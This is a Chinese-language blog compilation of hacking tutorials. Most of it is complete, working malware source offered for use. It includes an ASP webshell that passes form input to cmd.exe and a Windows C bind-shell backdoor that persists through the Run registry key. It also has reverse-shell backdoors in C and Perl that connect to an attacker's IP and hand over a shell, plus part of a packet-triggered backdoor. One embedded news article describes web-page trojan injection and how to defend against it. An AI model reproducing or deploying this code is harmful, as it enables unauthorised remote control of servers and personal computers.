2013年5月31日星期五

简单ASP木马自己写

简单ASP木马自己写

内容提要:本文面向没有接触过ASP或者刚刚接触ASP的朋友。文章将从介绍ASP入手,然后后给出一个简单木马例程并作必要解释和分析。
  关键字:ASP 木马 FSO组件                 第0部分   写在前面的话
  如果你对ASP有一定了解,那么可以直接去阅读本文的第2部分,因为第1部分对你没有什么用处。如果你不知道什么是ASP也没有关系,第1部分的内容对你也许有所帮助,但是,你还需要通过阅读其他资料来对ASP进一步了解才有利于理解这个简单的木马程序。

             第1部分 知识预备:什么是ASP
  关于什么是ASP,我想不管在介绍ASP的书上还是网上,都会首先介绍这一点。这里我尽量按照我的理解来说明什么是ASP。我不敢保证十分准确,但却能保证易于你的理解。 
   ASP是Active Sever Pages(活动服务器页面)的缩写,从字面上的理解可以得知,ASP是运行在服务器端的,而在客户端(通过浏览器)看到的只是由ASP程序在服务器端运 行之后产生的HTML页面。这样做至少有两个好处,一是动态页面的产生,二是使得服务器端的代码在客户端不可见。
  这里我愿意用一个不太恰当的 比喻来形容ASP的工作方式。我们请求服务器上的一个ASP文件,叫好比对一个黑漆漆的房子里面的乐队说:“给我演奏XXX",于是乐队(服务器)在这个 漆黑的房子照着乐谱(ASP文件)开始演奏起来;我们听到了想听的音乐(传送过来的HTML文件),却并不知道黑房子里面的人究竟是怎么演奏的,乐谱究竟 是用钢笔写的还是铅笔写的,甚至是打印的。
  有一件非常糟糕的事情是,ASP的代码和HTML页面是混在一起的(这在ASP.NET中得到改善)。比如在一个HTML页面里面,只要你在任意位置输入<%%>,你就可以在两个%之间输入ASP代码了。 
  你可以用VBSript或者JScript作为脚本语言,而VBScrit是ASP的缺省脚本语言.

   
             第2部分 实战:代码以及分析
  首先给出这个简单ASP木马的完整源代码。
    <%
     Dim oScript
     Dim oScriptNet
     Dim oFileSys, oFile
     Dim szCMD, szTempFile
     On Error Resume Next
     Set oScript = Server.CreateObject("WSCRIPT.SHELL")
     Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
     szCMD = Request.Form(".CMD") '获得要执行的命令
     If (szCMD <> "") Then '如果命令不为空
      szTempFile = "c:\" & oFileSys.GetTempName()
      Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) '把命令的执行结果存放在临时文件里面
      Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
     End If
     %>
    <HTML>
     <BODY>
      <FORM action="cmd.asp" method="POST">
      <input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"></FORM><PRE>
     <%
      If (IsObject(oFile)) Then '如果文件存在
       On Error Resume Next
       Response.Write Server.HTMLEncode(oFile.ReadAll)  '把临时文件内容写到客户端
       oFile.Close
       Call oFileSys.DeleteFile(szTemdpFile, True) '删除临时文件
      End If
     %>
     </BODY>
    </HTML>
   这应该是一个最简单的ASP木马程序了,程序的实质就是从服务器端调用cmd.exe来执行客户端发送的字符串,就是这么简单。结合代码中给出的简要注 释,掌握这段代码对你来说应该没有什么困难。(顺便提一下,如果使用VBScrit作为脚本,你可以像在VB那样用'来引导一串注释直到行尾。)但是有两 行代码我还是不得不说:
     Set oScript = Server.CreateObject("WSCRIPT.SHELL")
   Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
  正是这两行代码创建的这两个对象构成了整个木马程序的核心,因此很有必要对这两个对象作进一步了解。
  第一行代码实际上创建了一个WSH的内置shell对象。正式利用这个对象调用cmd.exe然后来执行客户端发过去的命令。
   第二行代码创建了一个FSO模型的FileSystemObject,也就是文件系统对象。而FSO模型位于由微软提供的脚本运行时间DLL文件中,它 是scrrun.dll。你可以在任何应用程序中引用这个DLL文件,比如Access、Word。就是说,并非仅仅限制在ASP中应用它。建立一个 FSO的文件系统对象之后,就可以方便的使用对象.方法和对象.属性了。上面代码中用到了FSO对象的四个方法:GetTempName()、 OpenTextFile()、Close()和DeleteFile(),我想你可以很容易从字面理解这三个方法的用处。
  对于网站服务器来说,FSO就是一把双刃剑,一方面使用它可以很方便实现一些功能,另一方面,正像本文的木马所演示的那样,也留下了安全隐患。 对此,一般有两种对策,注销和改名。注销比较极端,大家都不能用,而改名一般能取得比较好的效果。
  
 
第3部分  写在后面的话 
  有兴趣的话,可以把这个简单的asp木马上传到一个支持ASP的空间试一下,成功的话,你可以用DOS命令对服务器执行任何操作。其实,很多VBS病毒和一些恶意网页的代码也并不复杂,都是利用了FSO对象和WSH的其他内置对象而已。

网页挂马手段全解析

网页挂马手段全解析

http://www.100ec.cn  2012年11月07日09:09  中国电子商务研究中心 发表评论 电商服务
  (中国电子商务研究中心讯)网页挂马是近几年来黑客的主流攻击方式之一,在2008年到2010年间,网页挂马攻击更是成为了黑客 最主要的攻击手段。根据瑞星“云安全”系统监测,2008年到2010年间,客户端受到恶意网马的年攻击次数达到千万级别。虽然近两年来,网络钓鱼攻击已 经在数量上超越了网页挂马攻击,但是网页挂马攻击所带来的危害依然巨大,不仅对网站的安全运行造成威胁,对客户端用户来说,网马攻击将直接造成游戏账号密 码及银行账号密码被窃取、敏感信息泄露等严重影响。
  常见挂马方式解析
  网页挂马攻 击指黑客在入侵网站成功获取网站权限以后,在网站的页面中插入一些代码,当浏览者访问到这些包含有恶意代码的网页时,就会在不知不觉中执行相应的漏洞利用 程序。这些程序可以在浏览者的电脑上下载并执行木马程序,导致浏览者的电脑成为黑客的肉鸡。挂马操作可以有多种方式实现,以下是比较常见的几种挂马攻击手 段。
  1.框架挂马
  框架挂马是指在网页中创建一个宽度和高度都为0的框架,在访问网页时,从网页表面是无法通过肉眼看到这个框架的,只能通过网页源码分析或抓包的方式查看到相应的数据信息。
  2. JS文件挂马
  JS文件挂马是指黑客插入JS代码到网页中,同时恶意篡改网站文件中的JS文件代。一般来讲,那些被全站引用的JS代码最容易被黑客挂马。
  3. JS变形加密
  JS变形加密一般是使用某种加密方式对JS文件挂马代码进行加密处理,黑客通过加密代码的方式隐藏了该信息。
  4. body挂马
  body挂马是通过向body标签插入恶意代码实现的,当用户访问挂有以上代码的网页时,页面就会自动跳转去执行黑客指定的恶意页面,从而导致挂在恶意页面的木马在本地被执行。
  5. 隐蔽挂马
  黑客将一段Javascript代码放在一些比较隐蔽的位置,当页面执行时,会通过DOM操作的方式创建框架访问黑客指定的挂马页面,从而实现恶意代码的执行。
  6. css中挂马
  黑客可以利用CSS代码来实现挂马,当网页代码执行到body部分时,会根据CSS定义的背景图片地址进行访问,而访问的内容是通过javascript伪协议的方式执行相应的恶意代码。
  网页挂马的防范
  据安全专家介绍,对于普通用户来说,防范网页挂马攻击可以从以下几方面做起。
   1. 使用较安全的操作系统版本及浏览器。Windows7的安全性和兼容性较vista及先前版本有很大的提高,而且Windows7下IE8默认开启了数据 执行保护(DEP),可以在一定程度上保护客户端系统免受恶意代码的攻击。同样类似,firefox、chrome浏览器也有一定的恶意网址和代码拦截的 功能。
  2. 安装安全防护软件。网页挂马已经流行多年,随着安全服务厂商对网页挂马攻击方式研究的不断深入,目前大多数的安全防护软件都具备恶意网址拦截和网马攻击拦 截的功能,用户只需要在客户端环境中安装安全防护软件就可以对恶意网页挂马攻击行为进行拦截,下图为永久免费的瑞星杀毒软件V16对目前网络环境中正在传 播的网页挂马代码的拦截提示信息。(编选:中国电子商务研究中心)

一个简单木马后门的程序

一个简单木马后门的程序

        以下代码可以在VC++编译下实现,是用C语言写的木马后门程序,本程序是运行在服务器端的(即肉鸡),运行成功后,可以在我们
    控制端打开cmd.exe输入命令:telnet xx.xx.xx.xx(对方IP) 9527(9527是我自己定义的端口号,你可以在下面的代码中改个你想要对方开启的端口)   
    进行连接,连接成功后就可以进入服务器端的命令行进行操作。

代码部分:
#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

// C RunTime Header Files
#include <stdlib.h>
#include <malloc.h>
#include <memory.h>
#include <tchar.h>

//OpenRegedit()和CopySystem()的作用是让服务器端开机自启动本程序
int OpenRegedit()     //此函数作用是取得打开注册表启动键的句柄
{
        HKEY hKey;
        TCHAR str1[100] = "system";
        TCHAR str2[100] = "C:\\WINDOWS\\SystemEx.exe";
        TCHAR str[150]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
        if(RegOpenKeyEx(HKEY_LOCAL_MACHINE , str , 0 , KEY_CREATE_SUB_KEY | KEY_SET_VALUE , &hKey)!=ERROR_SUCCESS)
        {
                return 0;
        }
        if(RegSetValueEx(hKey,str1,0,REG_SZ,(BYTE*)str2,150)!=ERROR_SUCCESS)
        {
                return 0;
        }
    RegCloseKey(HKEY_LOCAL_MACHINE);
        return 0;
}

int CopySystem() //此函数是把自己拷贝到系统的C:\WINDOWS\目录下
{
        TCHAR Module[256];
        TCHAR str[100]="C:\\WINDOWS\\SystemEx.exe";
        if(GetModuleFileName(NULL,Module,256)==0)
        {
                return 0;
        }
        if(FALSE==CopyFile(Module,str,TRUE))
        {
                 return 0;
        }
        return 0;
}

class CThreadNode {              //创建一个Class
public:
        SOCKET m_Sock;
        HANDLE hPipe;
        CThreadNode() {
                m_Sock = INVALID_SOCKET;
                hPipe = NULL;
        }
};

BOOL SocketInit()            //Socket的初始化
{
        WSADATA wsaData = {0};
        if ( WSAStartup(MAKEWORD(2, 2), &wsaData) == NO_ERROR ) {
                return TRUE;
        }else{
                return FALSE;
        }
}

int SendData(SOCKET m_Sock, void *pBuf, DWORD dwBufLen)    //自定义的函数此函数为了避免发送数据过大而丢失
{
        if ( m_Sock == INVALID_SOCKET || !pBuf || dwBufLen <= 0 ) {
                return -1;
        }
        int iCurrSend = 0, offset = 0;
        do {
                iCurrSend = send(m_Sock, (char *)pBuf+offset, dwBufLen, 0);//不断发送数据
                if ( iCurrSend <= 0 ) {
                        break;
                }
                dwBufLen -= iCurrSend;
                offset += iCurrSend;
        } while ( dwBufLen > 0 );
        return offset;
}

BOOL bExit = FALSE;
#define RECV_BUF_LEN 4096
char szCmdBuf[MAX_PATH] = {0};

DWORD WINAPI ThreadInputProc(LPVOID lpParam)//此函数功能是时刻接收控制端发送过来的数据
{
        CThreadNode tNode = *(CThreadNode *)lpParam;
        DWORD dwWrited = 0, dwRecvd = 0;
        char szBuf[MAX_PATH] = {0};
        BOOL bRet = FALSE;
        while ( TRUE ) {
                dwRecvd = recv(tNode.m_Sock, szBuf, MAX_PATH, 0);
                if ( dwRecvd > 0 && dwRecvd != SOCKET_ERROR ) {
                        WriteFile(tNode.hPipe, szBuf, dwRecvd, &dwWrited, NULL);
                }else{
                        closesocket(tNode.m_Sock);
                        WriteFile(tNode.hPipe, "exit\r\n", sizeof("exit\r\n"), &dwWrited, NULL);
                        bExit = TRUE;
                        break;
                }
                Sleep(50);
        }
        return TRUE;
}

DWORD WINAPI ThreadOutputProc(LPVOID lpParam) //此函数功能时刻向客户端发送cmd输出的数据
{
        CThreadNode tNode = *(CThreadNode *)lpParam;
        char szBuf[RECV_BUF_LEN] = {0};
        DWORD dwReadLen = 0, dwTotalAvail = 0;
        BOOL bRet = FALSE;
        while ( !bExit ) {
                dwTotalAvail = 0;
                bRet = PeekNamedPipe(tNode.hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
                if ( bRet && dwTotalAvail > 0 ) {
                        bRet = ReadFile(tNode.hPipe, szBuf, RECV_BUF_LEN, &dwReadLen, NULL);
                        if ( bRet && dwReadLen > 0 ) {
                                SendData(tNode.m_Sock, szBuf, dwReadLen);
                        }
                        Sleep(50);
                }
        }
        return TRUE;
}

BOOL StartShell(UINT uPort)
{
        if ( !SocketInit() ) {   //初始化Stocket库
                return FALSE;
        }
        SOCKET m_ListenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if ( m_ListenSock == INVALID_SOCKET ) {
                return FALSE;
        }
        sockaddr_in sServer = {0};
        sServer.sin_family = AF_INET;
        sServer.sin_addr.s_addr = htonl(INADDR_ANY);//用主机的任意可用IP地址
        sServer.sin_port = htons(uPort);  //要开启的端口号
        if ( bind(m_ListenSock, (sockaddr *)&sServer, sizeof(sServer)) == SOCKET_ERROR ) {           //将套接字绑定到IP地址和端口
                return FALSE;
        }
        if ( listen(m_ListenSock, 5) == SOCKET_ERROR ) {        //让端口进入监听模式
                return FALSE;
        }
        SOCKET m_AcceptSock = accept(m_ListenSock, NULL, NULL);   //创建新的套接字,然后等待与客户端的连接
        // 创建管道的一些初始化
        CThreadNode m_ReadNode, m_WriteNode;
        STARTUPINFO si = {0};
        si.cb = sizeof(STARTUPINFO);
        PROCESS_INFORMATION pi = {0};
        DWORD dwThreadRead = 0, dwThreadWrite = 0;
        HANDLE hReadPipe1 = NULL, hWritePipe1 = NULL; // Input the command;
        HANDLE hReadPipe2 = NULL, hWritePipe2 = NULL; // Get the command results;
        HANDLE hThreadOutput = NULL, hThreadInput = NULL;

        SECURITY_ATTRIBUTES sa = {0};
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;

    //以下创建两根匿名管道,一根用于向cmd写数据,另一根用于获取cmd传回的数据
        if ( !CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0) || !CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0) ) { 
                return FALSE;
        }
        m_ReadNode.m_Sock = m_WriteNode.m_Sock = m_AcceptSock;

        GetStartupInfo(&si);      //获得本线程当前的信息结构体
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        si.hStdInput = hReadPipe1;  //CMD从管道1读取的,hReadPipe1的数据来自hWritePipe1
        si.hStdOutput = si.hStdError = hWritePipe2;//cmd输出的数据写入到管道2
        si.wShowWindow = SW_HIDE;

        TCHAR szCmdLine[MAX_PATH] = {0};
        GetSystemDirectory(szCmdLine, MAX_PATH);      //取得系统目录
        strcat(szCmdLine,TEXT("\\cmd.exe"));
        if ( !CreateProcess(szCmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) ) {    //创建线程cmd把结构体si传给线程cmd
                return FALSE;
        }
        //客户端从管道2读取数据
        m_ReadNode.hPipe = hReadPipe2;
        hThreadOutput = CreateThread(NULL, 0, ThreadOutputProc, &m_ReadNode, 0, &dwThreadWrite);
   
        //向管道1写入数据
        m_WriteNode.hPipe = hWritePipe1;       
    hThreadInput = CreateThread(NULL, 0, ThreadInputProc, &m_WriteNode, 0, &dwThreadRead);

        HANDLE szHandles[] = { hThreadOutput, hThreadInput };      //两个线程的句柄
        WaitForMultipleObjects(2, szHandles, TRUE, INFINITE);    //等待两个线程都退出后才退出,最后一个参数表示等待时间无限
        return TRUE;
}

int APIENTRY WinMain(HINSTANCE hInstance,             //主函数
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
        // TODO: Place code here.
    OpenRegedit();
    CopySystem();
    StartShell(9527);     //我自定义的端口号9527
        return 0;
}

    分享快乐哈!本人还是菜鸟中的菜鸟,希望大家以后多多支持!

五个反弹后门的源代码

五个反弹后门的源代码

http://www.hackbase.com 2005-1-2 1 黑客基地
 
http://www.s8s8.net 网络技术
第一个反弹木马代码:作者 iceblood

代码

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

void usage();
char shell[]="/bin/sh";
char message[]="s8s8 welcome\n";
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}

struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!\n");      exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!\n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}

void usage(char *prog[]) {
   printf("\t\ts8s8 connect back door\n\n");
printf("\t sql@s8s8.net\n\n");
printf("Usage: %s <reflect ip> <port>\n", prog);
exit(-1);
}



测试结果如下图:

user posted image
user posted image


县得有点简陋了,不过还能讲究的过去。。如果需要可以写成LKM,呵呵。
第二个反弹木马代码:作者cnhackTNT


代码

#!/usr/bin/perl
#http://www.s8s8.net
#cnhackTNT[AT]hotmail.com

use strict;
use Socket;
use Cwd;
use IO::Handle;

if ( @ARGV < 1 ) {
print <<"EOF";
usage:
nc -l -p PORT(default 66666) on your local system first,then
Perl $0 Remote IP <space> Remote_port(default 66666)
Type 'quit' to exit or press Enter to gain shell when u under the 'S8S8 console'.
Enjoy ur shell!
Welcome to http://www.s8s8.net
EOF
exit;
}
my $remote      = $ARGV[0];
my $remote_port = $ARGV[1] || 66666;
my $proto       = getprotobyname('tcp');
my $pack_addr   = sockaddr_in( $remote_port, inet_aton($remote) );
my $path        = cwd();
my $shell       = '/bin/sh -i';

socket( SOCK, AF_INET, SOCK_STREAM, $proto ) || die "socket error: $!";
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect( SOCK, $pack_addr ) || die "connection error : $!";
open STDIN,  ">&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
print "You are in $path\n";
print "Welcome to www.s8s8.net\nEnjoy ur shell.\n\n[S8S8 console]>";

while (<SOCK>) {
   chomp;
   if ( lc($_) eq 'quit' ) {
       print "\nWelcome to www.s8s8.net";
       print "\nByeBye~~~!\n";
       exit;
   }
   elsif ($_) {
       system($shell);
       print "\n[S8S8 console]>";
   }
   else {
       print "\n[S8S8 console]>";
   }
}
close SOCK;
exit;


很简单,功能和上面sql兄那个c版本的差不多。

测试截图:

第三个反弹木马代码:作者dahubaobao

代码


#include <winsock2.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32.lib")

#define PASSSUCCESS "Password success!\n"
#define PASSERROR "Password error.\n"
#define BYEBYE "ByeBye!\n"

#define WSAerron WSAGetLastError()
#define erron GetLastError()

VOID WINAPI EXEBackMain (LPVOID s);
//BOOL EXEBackMain (SOCKET sock);

int main (int argc, TCHAR *argv[])
{
   SOCKET sock=NULL;
   struct sockaddr_in sai;
   TCHAR UserPass[20]={0};    //用户设置密码缓冲
   TCHAR PassBuf[20]={0};     //接收密码缓冲
   TCHAR PassBanner[]="\nPassword:";
   TCHAR Banner[]="---------dahubaobao backdoor---------\n";

   if (argc!=4)
   {
       fprintf(stderr,"Code by dahubaobao\n"
               "Usage:%s [DestIP] [Port] [Password]\n",argv[0]);
       return 0;
   }

   sai.sin_family=AF_INET;

   //判断参数合法性,并填充地址结构
   //IP地址不能大于15
   if (strlen(argv[1])<=15)
       sai.sin_addr.s_addr=inet_addr(argv[1]);
   else
   {
       #ifdef DEBUGMSG
              printf("Internet address no larger than \"15\"\n");
       #endif
       goto Clean;
   }

   //端口不能小于0 && 大于65535
   if (atoi(argv[2])>0&&atoi(argv[2])<65535)
       sai.sin_port=htons(atoi(argv[2]));
   else
   {
       #ifdef DEBUGMSG
              printf("Port no less than \"0\" and larger than \"65535\"");
       #endif
       goto Clean;
   }

   //密码最大16位
   if (strlen(argv[3])<=16)
       strcpy(UserPass,argv[3]);     //复制密码
   else
   {
       #ifdef DEBUGMSG
              printf("Please connect password error\n");
       #endif
       goto Clean;
   }

   while (TRUE)
   {
          WSADATA wsadata;
          BOOL ThreadFlag=FALSE;
          DWORD ThreadID=0;
          int nRet=0;

          nRet=WSAStartup(MAKEWORD(2,2),&wsadata);     //初始化

          if (nRet)
          {
              #ifdef DEBUGMSG
                     printf("WSAStartup() error: %d\n",nRet);
              #endif
              return 0;
          }

          sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

          if (sock==INVALID_SOCKET)
          {
              #ifdef DEBUGMSG
                     printf("socket() GetLastError reports %d\n",WSAerron);
              #endif
              goto Clean;
          }
         
          nRet=connect(sock,(struct sockaddr*)&sai,sizeof (struct sockaddr));

          if (nRet!=SOCKET_ERROR)
          {
              nRet=send(sock,Banner,sizeof (Banner),0);

              if (nRet==SOCKET_ERROR)
              {
                  #ifdef DEBUGMSG
                         sprintf(MsgError,"send() GetLastError reports %d\n",WSAerron);
                         send(sock,MsgError,sizeof (MsgError),0);
                  #endif      
                  goto Clean;
              }

              while (TRUE)
              {
                     nRet=send(sock,PassBanner,sizeof (PassBanner),0);

                     if (nRet==SOCKET_ERROR)
                     {
                         #ifdef DEBUGMSG
                                sprintf(MsgError,"send() GetLastError reports %d\n",WSAerron);
                                send(sock,MsgError,sizeof (MsgError),0);
                         #endif
                         goto Clean;
                     }

                     nRet=recv(sock,PassBuf,sizeof (PassBuf)-1,0);

                     if (strnicmp(PassBuf,UserPass,strlen(UserPass))==0)
                     {
                         #ifdef DEBUGMSG
                                send(sock,PASSSUCCESS,sizeof (PASSSUCCESS),0);
                         #endif
                         ThreadFlag=TRUE;
                         break;
                     }
                     else
                     {
                         #ifdef DEBUGMSG
                                send(sock,PASSERROR,sizeof (PASSERROR),0);
                         #endif
                         continue;
                     }

                     if (nRet==SOCKET_ERROR)
                     {
                         #ifdef DEBUGMSG
                                sprintf(MsgError,"recv() GetLastError reports %d\n",WSAerron);
                                send(sock,MsgError,sizeof (MsgError),0);
                         #endif
                         goto Clean;
                     }

                     Sleep(100);
              }
             
              if (ThreadFlag)
              {
                  //EXEBackMain(sock);
                 
                  CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)EXEBackMain,
                              (LPVOID)sock,0,&ThreadID);
              }

          }

          Sleep(1000);
   }

   Clean:
         if (sock!=NULL)
             closesocket(sock);

         WSACleanup();
         return 0;
}

VOID WINAPI EXEBackMain (LPVOID s)
//BOOL EXEBackMain (SOCKET sock)
{  
    SOCKET sock=(SOCKET)s;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hRead=NULL,hWrite=NULL;
    TCHAR CmdSign[]="\ndahubaobao:\\>";
   
    while (TRUE)
    {
           TCHAR MsgError[50]={0};     //错误消息缓冲
           TCHAR Cmdline[300]={0};     //命令行缓冲
           TCHAR RecvBuf[1024]={0};    //接收缓冲
           TCHAR SendBuf[2048]={0};    //发送缓冲
           SECURITY_ATTRIBUTES sa;
           DWORD bytesRead=0;
           int ret=0;

           sa.nLength=sizeof(SECURITY_ATTRIBUTES);
           sa.lpSecurityDescriptor=NULL;
           sa.bInheritHandle=TRUE;

           //创建匿名管道
           if (!CreatePipe(&hRead,&hWrite,&sa,0))
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,"CreatePipe() GetLastError reports %d\n",erron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif        
               goto Clean;
           }

           si.cb=sizeof(STARTUPINFO);
           GetStartupInfo(&si);
           si.hStdError=hWrite;
           si.hStdOutput=hWrite;    //进程(cmd)的输出写入管道
           si.wShowWindow=SW_HIDE;
           si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

           GetSystemDirectory(Cmdline,sizeof (Cmdline));   //获取系统目录
           strcat(Cmdline,"\\cmd.exe /c ");                //拼接cmd

           ret=send(sock,CmdSign,sizeof (CmdSign),0);      //向目标发送提示符

           if (ret==SOCKET_ERROR)
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,"send() GetLastError reports %d\n",WSAerron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif    
               goto Clean;
           }
         
           ret=recv(sock,RecvBuf,sizeof (RecvBuf),0);       //接收目标数据

           //如果为exit或quit,就退出
           if (strnicmp(RecvBuf,"exit",4)==0||strnicmp(RecvBuf,"quit",4)==0)
           {
               #ifdef DEBUGMSG
                      send(sock,BYEBYE,sizeof (BYEBYE),0);
               #endif
               goto Clean;
           }

           //表示对方已经断开
           if (ret==SOCKET_ERROR)
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,"recv() GetLastError reports %d\n",WSAerron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif
               goto Clean;
           }

           //表示接收数据出错
           if (ret<=0)
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,"recv() GetLastError reports %d\n",WSAerron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif    
               continue;
           }

           Sleep(100);      //休息一下,可要可不要
           strncat(Cmdline,RecvBuf,sizeof (RecvBuf));  //拼接一条完整的cmd命令

           //创建进程,也就是执行cmd命令
           if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,"CreateProcess() GetLastError reports %d\n",erron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif    
               continue;
           }

           CloseHandle(hWrite);

           while (TRUE)
           {
                  //无限循环读取管道中的数据,直到管道中没有数据为止
                  if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
                      break;
                  send(sock,SendBuf,bytesRead,0);      //发送出去
                  memset(SendBuf,0,sizeof (SendBuf));  //缓冲清零
                  Sleep(100);                          //休息一下
           }
         
    }

    Clean:
          //释放句柄
          if (hRead!=NULL)
              CloseHandle(hRead);

          if (hWrite!=NULL)
              CloseHandle(hWrite);

          //释放SOCKET
          if (sock!=NULL)
              closesocket(sock);

          WSACleanup();
          ExitThread(0);
          //return 0;

}

第四个反弹木马代码:作者ZV 比较完整的.for winnt的.compiler by vc 6.0.

我把后门分成四个部分,一个个部分算作一个模块,首先是主函数入口分成一部分,将来要加一些参数设置,初始化,隐藏进程等等,都在这个主函数部分完成,现在是什么都没有,代码比较少..


代码

#include "mainheader.h"

MAINPARAMETERSTK mpStk={"zvrop","www.s8s8.net"};

//打印帮助
void Usage(char *programName) {
   char szHelp[] = "";
   fprintf(stderr,"%s usage:%s\n",programName,szHelp);
}  

//初始化参数
int HandleOptions(int argc,char *argv[]) {
   int i,rn=1;

   for (i=1; i< argc;i++) {
       if (argv[i][0] == '-') {
           switch (argv[i][1]) {
               case '?':
               case 'h':
               case 'H':
                   Usage(argv[0]);
                   rn = 0;
                   break;
                 
               default:
                   Usage(argv[0]);
                   rn = 0;
                   break;
           }
       }
   }
   return rn;
}

//正式开始工作的主函数
extern int ListenUserMain(void);
int mGotoStart(){

//申请网络
   if(!SetSocketDll())
       return 0;
   int ret=0;
//出错最大100次就结束程序
   while(true){
       if(!ListenUserMain()){
           if(ret++ > 100)
               break;
       }
   }
   return 1;          
}

//程序入口
int main(int argc, char* argv[]) {
   if(argc > 1) {
       if(HandleOptions(argc,argv)) {
           return 1;
       }else {
           return 0;
       }
   }else {
       mGotoStart();
       return 1;
   }
   return 1;
}


上面这个部分除了mGotoStart();这个函数,其他都是内部的.

这 个mGotoStart();就是sniffer的开始,也就是我们的第二个部分,嗅探部分,我写了三种数据包,udp,tcp,icmp的嗅探,事实上 tcp能用上的很少(除非你用某些发包软件直接发tcp包)所以我测试的时候也是用udp和icmp来测试的,代码如下:
代码

#include "mainheader.h"

#define MAX_PACK_LEN        65535
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

SNIFFERDATASTK sfStk;

//判断数据包的正确性
int ChkBuff(char *msg, int msglen)
{
   int i1 = strlen(mpStk.KeyData), i2 = strlen(mpStk.szUserPasd);
   if(strnicmp(msg, mpStk.KeyData, i1) == 0){
       char *fp = &msg[i1+1];
       if(2 != getcmdline(fp,(char*)(&sfStk),100,3)){
           return 0;
       }
       if(!chkPass(sfStk.name)){
           return 0;
       }
       return 1;
   }
   return 0;
}

//数据包解包
int DecodePack(char *buf, int buflen)
{
   IP_HEADER *pIpheader;
   int iProtocol;
   pIpheader = (IP_HEADER *)buf;
   iProtocol = pIpheader->proto;
   int iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);
   int PackSize = 0;
   switch(iProtocol){
       case IPPROTO_UDP:
           PackSize = sizeof(UDP_HEADER);
           break;
       case IPPROTO_ICMP:
           PackSize = sizeof(UDP_HEADER);
           break;
       case IPPROTO_TCP:
           PackSize = sizeof(TCP_HEADER);
       default :
           return 0;
   }
   if((unsigned)(buflen-iIphLen-PackSize) < (strlen(mpStk.KeyData)+10))
       return 0;
   if(ChkBuff(buf+iIphLen+PackSize, buflen-iIphLen-PackSize))
       return 1;
   return 0;
}

//循环接收数据包
int RecvRightData(SOCKET Sock)
{
   char RecvBuf[MAX_PACK_LEN];
   int RecvDataLen;
   while(true){
       memset(RecvBuf, 0, MAX_PACK_LEN);
       RecvDataLen = recv(Sock, RecvBuf, MAX_PACK_LEN, 0);
       if(SOCKET_ERROR == RecvDataLen || RecvDataLen < 46)
           return 0;
       if(DecodePack(RecvBuf, RecvDataLen)){
           return 1;
       }
   }
   return 0;
}

//获得本机外部ip
unsigned long msGetipByStrOUT(){
   char in[20]="",out[20]="";
   if(msGetip(in,out)){
       return inet_addr(out);
   }else{
       return inet_addr("127.0.0.1");
   }
}

//设置网络环境,开始嗅探
int Start_Sniffer(SOCKET SnfSock)
{

   SOCKADDR_IN addr_in;
   addr_in.sin_family = AF_INET;
   addr_in.sin_port  = INADDR_ANY;
   addr_in.sin_addr.S_un.S_addr = msGetipByStrOUT();
   if(SOCKET_ERROR == bind(SnfSock, (struct sockaddr*)&addr_in, sizeof(addr_in))){
       ConCloseSocket(&SnfSock);
       return 0;
   }
   DWORD dwBufferLen[10];
   DWORD dwBufferInLen = 1;
   DWORD dwBytesReturned = 0;
   if(SOCKET_ERROR == WSAIoctl(SnfSock,
                           SIO_RCVALL,
                           &dwBufferInLen,
                           sizeof(dwBufferInLen),
                           &dwBufferLen,
                           sizeof(dwBufferLen),
                           &dwBytesReturned ,
                           NULL ,
                           NULL)){

       ConCloseSocket(&SnfSock);
       return 0;
   }
   return 1;
}

//网络开始函数
